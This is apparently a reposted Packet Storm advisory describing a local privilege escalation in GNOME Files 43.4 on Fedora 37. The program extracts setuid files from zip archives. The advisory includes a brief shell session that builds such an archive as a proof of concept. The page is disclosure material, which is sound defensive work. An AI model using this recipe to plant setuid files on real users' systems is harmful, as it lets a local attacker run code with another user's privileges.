GNOME Files 43.4 Privilege Escalation ≈ Packet Storm

Roger Wilco Exploits 8 août 2023 Affichages : 190

Home ^[1] Files ^[2] News ^[3] &[SERVICES_TAB] Contact ^[4] Add New ^[5]

GNOME Files 43.4 Privilege Escalation^[6]: Authored by Georgi Guninski ^[7]; GNOME Files version 43.4 (nautilus) on Fedora 37 will extract zip archives with setuid files for other user identifiers that can be leveraged to escalate privileges.; systems | linux ^[8], fedora ^[9]; SHA-256 | ac80117ac673973985c2dd78f43ddd88009c6d2d28c771696ceaab5aceb3f410; Download ^[10] | Favorite ^[11] | View ^[12]

        Affected: GNOME Files 43.4 (nautilus) on fedora 37
Description:
If an user A opens in GNOME files zip archive containing
`setuid` file F, then F will be silently extracted to
a subdirectory of CWD.
If F is accessible by hostile local user B and B executes F,
then F will be executed as from user A.
tar(1) and unzip(1) are not vulnerable to this attack.
Session for creating the ZIP.
After that just open f.zip in GNOME files.
<pre>
[joro@fedora ~]$ umask
0022
[joro@fedora 2]$ mkdir /tmp/2 ; cd /tmp/2 ; echo hi > F ; chmod +xs F
[joro@fedora 2]$ zip f F ; zipinfo f
Archive:  f.zip
Zip file size: 155 bytes, number of entries: 1
-rwsr-sr-x  3.0 unx        3 tx stor 23-Aug-05 12:38 F
[joro@fedora 2]$ ls -ld /tmp/2/
drwxr-xr-x. 2 joro joro 80 Aug  5 11:20 /tmp/2/
[joro@fedora 2]$
</pre>